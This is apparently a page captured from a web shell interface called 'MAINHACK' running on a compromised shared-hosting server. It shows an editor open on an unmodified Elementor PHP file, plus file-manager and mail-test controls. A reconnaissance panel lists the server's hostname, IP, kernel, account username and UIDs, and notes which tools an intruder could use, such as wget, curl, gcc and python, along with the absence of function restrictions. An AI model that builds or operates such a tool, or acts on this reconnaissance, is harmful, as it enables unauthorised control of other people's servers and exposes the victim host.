[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: component.php
<?php namespace Elementor\Modules\Components\Documents; use Elementor\Core\Base\Document; use Elementor\Core\Utils\Api\Parse_Result; use Elementor\Modules\Components\OverridableProps\Component_Overridable_Props_Parser; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Component extends Document { const TYPE = 'elementor_component'; const COMPONENT_UID_META_KEY = '_elementor_component_uid'; const OVERRIDABLE_PROPS_META_KEY = '_elementor_component_overridable_props'; const ARCHIVED_META_KEY = '_elementor_component_is_archived'; const ARCHIVED_AT_META_KEY = '_elementor_component_archived_at'; const COMPONENT_CUSTOM_META_KEYS = [ self::COMPONENT_UID_META_KEY, self::OVERRIDABLE_PROPS_META_KEY, self::ARCHIVED_META_KEY, self::ARCHIVED_AT_META_KEY, ]; public static function get_properties() { $properties = parent::get_properties(); $properties['cpt'] = [ self::TYPE ]; return $properties; } public static function get_type() { return self::TYPE; } public static function get_title() { return esc_html__( 'Component', 'elementor' ); } public static function get_plural_title() { return esc_html__( 'Components', 'elementor' ); } public static function get_labels(): array { $plural_label = static::get_plural_title(); $singular_label = static::get_title(); $labels = [ 'name' => $plural_label, 'singular_name' => $singular_label, ]; return $labels; } public static function get_supported_features(): array { return [ 'title', 'author', 'thumbnail', 'custom-fields', 'revisions', 'elementor', ]; } public function get_component_uid() { return $this->get_meta( self::COMPONENT_UID_META_KEY ); } public function get_overridable_props(): Component_Overridable_Props { $meta = $this->get_json_meta( self::OVERRIDABLE_PROPS_META_KEY ); return Component_Overridable_Props::make( $meta ?? [] ); } public function archive() { try { $this->update_json_meta( self::ARCHIVED_META_KEY, [ 'is_archived' => true, 'archived_at' => time(), ] ); } catch ( \Exception $e ) { throw new \Exception( 'Failed to archive component: ' . esc_html( $e->getMessage() ) ); } } public function get_is_archived(): bool { $archived_meta = $this->get_json_meta( self::ARCHIVED_META_KEY ); return $archived_meta['is_archived'] ?? false; } public function update_overridable_props( $data ): Parse_Result { $parser = Component_Overridable_Props_Parser::make(); $result = $parser->parse( $data ); if ( ! $result->is_valid() ) { return $result; } $sanitized_data = $result->unwrap(); $this->update_json_meta( self::OVERRIDABLE_PROPS_META_KEY, $sanitized_data ); return $result; } public function update_title( string $title ): bool { $sanitized_title = sanitize_text_field( $title ); if ( empty( $sanitized_title ) ) { return false; } return $this->update_post_field( 'post_title', $sanitized_title ); } public function update_status( string $status ): bool { if ( ! in_array( $status, [ Document::STATUS_PUBLISH, Document::STATUS_DRAFT, Document::STATUS_AUTOSAVE ], true ) ) { return false; } return $this->update_post_field( 'post_status', $status ); } private function update_post_field( string $field, $value ): bool { $result = wp_update_post( [ 'ID' => $this->post->ID, $field => $value, ] ); $success = ! is_wp_error( $result ) && $result > 0; if ( $success ) { $this->refresh_post(); } return $success; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252